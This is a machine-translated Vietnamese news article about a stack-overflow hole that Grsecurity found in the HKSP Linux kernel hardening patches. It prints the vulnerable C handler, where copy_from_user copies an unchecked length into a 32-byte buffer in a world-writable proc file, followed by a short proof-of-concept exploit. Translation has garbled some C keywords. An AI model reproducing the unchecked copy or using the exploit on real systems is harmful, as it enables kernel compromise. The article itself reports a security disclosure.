Vấn đề bảo mật trong các bản vá do nhân viên Huawei đề xuất để bảo vệ nhân Linux

Các nhà phát triển của dự án Grsecurity đã vẽ chú ý đến sự hiện diện của một lỗ hổng có thể khai thác được trong bộ bản vá HKSP (Huawei Kernel Self Protection), vài ngày trước đề xuất để cải thiện tính bảo mật của nhân Linux. Tình hình nhắc nhở trường hợp với Samsung, trong đó nỗ lực cải thiện bảo mật hệ thống đã dẫn đến sự xuất hiện của một lỗ hổng mới và khiến việc xâm nhập thiết bị trở nên dễ dàng hơn.

Các bản vá HKSP được một nhân viên Huawei xuất bản, bao gồm đề cập đến Huawei trong hồ sơ GitHub và sử dụng từ Huawei trong tên dự án (HKSP - Huawei Kernel Self Protection). Đồng thời, đại diện Huawei phủ nhận mối liên hệ giữa dự án HKSP với công ty và tuyên bố rằng mã được phát triển theo sáng kiến ​​​​cá nhân của nhân viên, không phải là dự án chính thức của Huawei và không được sử dụng trong các sản phẩm của công ty. TRÊN trang GitHub HKSP hồi tố sau khi khám phá lỗ hổng cũng đã được thêm vào lưu ý rằng dự án đang được phát triển trong thời gian rảnh rỗi của tôi cho mục đích nghiên cứu.

HKSP bao gồm các thay đổi như ngẫu nhiên hóa các giá trị bù đắp trong cấu trúc tín dụng, bảo vệ chống lại các cuộc tấn công vào không gian tên định danh người dùng (không gian tên pid), tách ngăn xếp quy trình khỏi khu vực mmap, phát hiện các lệnh gọi kép đến hàm kfree, chặn rò rỉ thông qua giả -FS /proc (/proc/ {mô-đun, khóa, người dùng khóa}, /proc/sys/kernel/* và /proc/sys/vm/mmap_min_addr, /proc/kallsyms), cải thiện ngẫu nhiên địa chỉ không gian người dùng, Ptrace bổ sung bảo vệ, bảo vệ smap và smep nâng cao, khả năng cấm gửi dữ liệu qua ổ cắm thô, chặn địa chỉ không chính xác trong ổ cắm UDP và kiểm tra tính toàn vẹn của các quy trình đang chạy. Nó cũng bao gồm mô-đun hạt nhân Ksguard, nhằm mục đích phát hiện các nỗ lực giới thiệu các rootkit điển hình.

Bản vá lỗi gọi là Greg Kroah-Hartman, người chịu trách nhiệm duy trì nhánh ổn định của nhân Linux, tỏ ra quan tâm và yêu cầu tác giả chia bản vá nguyên khối thành nhiều phần để đơn giản hóa việc xem xét và quảng bá lên nhân chính. Kees Cook, người đứng đầu dự án trên khuyến mãi công nghệ bảo vệ chủ động trong nhân Linux, đồng thời tích cực đã phản hồi các bản vá và, trong số các vấn đề, đã thu hút sự chú ý đến sự ràng buộc với kiến ​​​​trúc x86 và tính chất thông báo của nhiều chế độ, chỉ ghi thông tin về sự cố chứ không cố gắng chặn nó.

Một nghiên cứu về bản vá của các nhà phát triển Grsecurity đã tiết lộ nhiều lỗi và điểm yếu trong mã, đồng thời cũng cho thấy sự thiếu vắng mô hình mối đe dọa cho phép họ đánh giá đầy đủ khả năng của dự án. Để chứng minh rõ ràng rằng mã được viết mà không sử dụng các phương pháp lập trình an toàn, chúng tôi đưa ra một ví dụ về một lỗ hổng nhỏ trong trình xử lý.
tệp /proc/ksguard/state, được tạo với quyền 0777, ngụ ý rằng mọi người đều có quyền ghi. Hàm ksg_state_write, được sử dụng để phân tích các lệnh được ghi vào /proc/ksguard/state, tạo một bộ đệm tmp[32] để ghi dữ liệu dựa trên kích thước của toán hạng được truyền mà không tính đến kích thước của bộ đệm đích và không kiểm tra tham số với kích thước chuỗi. Những thứ kia. Để ghi đè lên một phần của ngăn xếp kernel, kẻ tấn công chỉ cần viết một dòng được định dạng đặc biệt vào /proc/ksguard/state.

ssize_t tĩnh ksg_state_write(tệp cấu trúc *tệp, const char __user *buf,
size_t len, loff_t *offset)
{
giá trị u64;
char tmp [32];
size_t n = 0;

if (copy_from_user(tmp, buf, len))
trả về -1;

value = simple_strtoul(tmp, '\0', 10);
...

Khai thác nguyên mẫu:

char buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
nếu (fd >= 0) {
write(fd, buf, sizeof(buf));
đóng(fd);
}

Nguồn: opennet.ru

Thêm một lời nhận xét